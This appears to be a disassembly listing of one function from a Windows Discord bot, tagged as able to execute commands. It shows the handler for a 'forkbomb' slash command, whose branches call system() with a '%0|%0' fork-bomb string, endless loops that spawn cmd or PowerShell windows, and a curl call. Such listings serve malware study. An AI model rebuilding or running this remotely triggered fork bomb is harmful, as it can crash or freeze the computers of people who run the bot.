Function at 0x14005eb50
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x92
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x408]
mov rax, qword [0x1400a1080]
xor rax, rbp
mov qword [rbp + 0x3b8], rax
mov dword [rbp + 0x374], 0
lea rcx, [0x1400b11be]
call fcn.14002b720
mov rax, qword [rbp + 0x3e8]
add rax, 0x40
mov qword [rbp + 0x388], rax
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x388]
call qword [sym.imp.dpp.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::interaction::get_command_name_void____ptr64]
mov qword [rbp + 0x390], rax
mov eax, dword [rbp + 0x374]
or eax, 1
mov dword [rbp + 0x374], eax
lea rdx, str.forkbomb
mov rcx, qword [rbp + 0x390]
call fcn.14002a956
movzx eax, al
test eax, eax
je 0x14005ec38
mov rax, qword [rbp + 0x3e8]
add rax, 0xd0
mov qword [rbp + 0x398], rax
mov rdx, qword [0x1400a2b50]
mov rcx, qword [rbp + 0x398]
call fcn.14002b58b
movzx eax, al
test eax, eax
je 0x14005ec38
mov dword [rbp + 0x3a0], 1
jmp 0x14005ec42
mov dword [rbp + 0x3a0], 0
movzx eax, byte [rbp + 0x3a0]
mov byte [rbp + 0x1c4], al
mov eax, dword [rbp + 0x374]
and eax, 1
test eax, eax
je 0x14005ec6f
and dword [rbp + 0x374], 0xfffffffe
lea rcx, [rbp + 0x1e8]
call fcn.14002a44c
movzx eax, byte [rbp + 0x1c4]
test eax, eax
je 0x14005eeac
mov rax, qword [rbp + 0x3e8]
mov rax, qword [rax]
mov rax, qword [rax + 8]
mov qword [rbp + 0x388], rax
lea rdx, str.type
lea rcx, [rbp + 0x228]
call fcn.14002aac3
nop
lea r8, [rbp + 0x228]
lea rdx, [rbp + 0x268]
mov rcx, qword [rbp + 0x3e8]
call qword [rbp + 0x388]
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x398], rax
mov rcx, qword [rbp + 0x398]
call fcn.14002abae
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14002b5b8
nop
lea rcx, [rbp + 0x268]
call fcn.14002accb
nop
lea rcx, [rbp + 0x228]
call fcn.14002a44c
lea rax, [rbp + 0x2b8]
mov qword [rbp + 0x318], rax
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x398], rax
lea r8, [rbp + 8]
lea rdx, str.executting....
lea rcx, [rbp + 0x338]
call fcn.14002a10e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x3b0], rax
mov r8, qword [rbp + 0x398]
mov rdx, qword [rbp + 0x3b0]
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x338]
call fcn.14002a44c
lea rdx, str.percentzero
lea rcx, [rbp + 8]
call fcn.14002a956
movzx eax, al
test eax, eax
je 0x14005edd2
lea rcx, str.start_echo__0_0_____.cmd________nul
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x14005eea1
lea rdx, [0x14008e080]
lea rcx, [rbp + 8]
call fcn.14002a956
movzx eax, al
test eax, eax
je 0x14005ee04
xor eax, eax
cmp eax, 1
je 0x14005edff
lea rcx, str.start
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x14005ede9
jmp 0x14005eea1
lea rdx, str.Powershell
lea rcx, [rbp + 8]
call fcn.14002a956
movzx eax, al
test eax, eax
je 0x14005ee33
xor eax, eax
cmp eax, 1
je 0x14005ee31
lea rcx, str.start_powershell
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x14005ee1b
jmp 0x14005eea1
lea rdx, str.Mega
lea rcx, [rbp + 8]
call fcn.14002a956
movzx eax, al
test eax, eax
je 0x14005ee7c
xor eax, eax
cmp eax, 1
je 0x14005ee7a
lea rcx, str.start_powershell
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_echo__0_0_____.cmd________nul
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x14005ee4a
jmp 0x14005eea1
lea rdx, str.rickroll
lea rcx, [rbp + 8]
call fcn.14002a956
movzx eax, al
test eax, eax
je 0x14005eea1
lea rcx, str.start_curl_ASCII.live_can_you_hear_me
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 8]
call fcn.14002a44c
jmp 0x14005eebf
lea rdx, str.not_for_me__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a2a8
lea rcx, [rbp - 0x20]
lea rdx, [0x140089320]
call fcn.14002b2e8
mov rcx, qword [rbp + 0x3b8]
xor rcx, rbp
call fcn.14002ab77
lea rsp, [rbp + 0x3c8]
pop rdi
pop rbp
ret